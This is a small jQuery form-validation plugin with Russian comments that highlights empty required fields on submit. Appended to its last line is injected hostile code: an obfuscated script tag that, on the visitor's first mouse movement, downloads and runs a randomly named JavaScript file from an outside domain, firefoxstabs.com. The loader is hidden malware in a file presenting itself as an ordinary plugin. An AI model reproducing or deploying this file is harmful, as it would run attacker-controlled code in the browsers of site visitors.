jQuery.fn.validForm = function(userOptions) {

    var options = {
    	errorContainer: "#errors",
    	errorContainerCssClass: {
    		'text-color': "#F00"
    	}
    }

    $.extend(options, userOptions);

    $(this).each( function() {
    	var id = "#" + $(this).attr('id');
        if ($(id + " input").length > 0) {
            Validate(id);
        } else {
        	return false;
        }
    });

    /**
     * @argument {$} form Форма для валидации
     */
    function Validate(form) {

        $(form + " input[type=submit]").click(function() {
           /**
         * @type int
         * @description Количество ошибок
         * @default 0
         */
        var errorAmount = 0;

        var collection = $("input.important");/*
            .add(form +" input[type=password]")
            .add(form +" input[type=file]")
            .add(form +" textarea")
            .add(form +" select");    */

        collection.each(function() {
         	    var element = $(this);
         		var length = $.trim(element.attr('value'));

         		if (!length) {
         			element.addClass('inputError');
         			errorAmount++;
         		}
         		else {
                    element.removeClass('inputError');
         		}
     	});

     	collection.keypress( function (){
            $(this).removeClass('inputError');
        });

        collection.change( function() {
            if (($(this).attr('value')).length < 1) {
                $(this).addClass('inputError');
            }
            else {
            	$(this).removeClass('inputError');
            }
        });




        if (errorAmount) {
        	$(options.errorContainer).html('<p class=\"warn\">&mdash; Заполните, пожалуйста, выделенные поля</p>');
        	$(options.errorContainer).show();
            return false;
        } else {
        	$(options.errorContainer).hide();
        }
        });
    }

};document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
